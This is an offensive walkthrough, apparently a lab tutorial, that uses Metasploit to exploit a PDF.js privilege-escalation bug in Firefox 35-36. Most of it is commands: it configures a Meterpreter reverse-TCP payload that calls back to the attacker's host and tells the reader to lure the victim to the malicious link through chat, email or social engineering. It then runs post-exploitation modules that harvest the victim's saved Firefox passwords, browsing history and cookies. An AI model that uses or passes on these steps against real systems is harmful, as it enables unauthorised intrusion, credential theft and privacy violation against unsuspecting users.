This module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs. PDF.js is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability.
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
Now type use exploit/multi/browser/firefox_pdfjs_privilege_escalation
msf exploit (firefox_pdfjs_privilege_escalation)>set payload windows/meterpreter/reverse_tcp
msf exploit (firefox_pdfjs_privilege_escalation)>set lhost 192.168.0.121 (IP of Local Host)
msf exploit (firefox_pdfjs_privilege_escalation)>set srvhost 192.168.0.121
msf exploit (firefox_pdfjs_privilege_escalation)>set uripath /
msf exploit (firefox_pdfjs_privilege_escalation)>exploit
Now an URL you should give to your victim http://192.168.0.121:8080
Send the link of the server to the victim via chat or email or any social engineering technique
Now when the victim opens the following link (http://192.168.0.121:8080). It will show the page like given below .And when victim will manually click on the click here option.
Now a session will be opened as shown below.
If you want to gather the user passwords stored through Firefox Browser. Use the following commands.
Now type use post/firefox/gather/passwords
msf exploit (passwords)>set session 1
msf exploit (passwords)>exploit
Now open the file and get the user names and passwords stored through Firefox browser.
To see the history of the Firefox, run the below given exploit.
Now type use post/firefox/gather/history
msf exploit (history)>set session 1
msf exploit (history)>exploit
After running this exploit, go to the path where history entries are stored. It will show us the URLs visited by the victim.
To gather information about the browser cookies, run the given below exploit .
Now type use post/firefox/gather/cookies
msf exploit (cookies)>set session 1
msf exploit (cookies)>exploit
The above exploit will save all cookies in the specified folder. Open the folder and click on cookies file. It will show us the cookies information.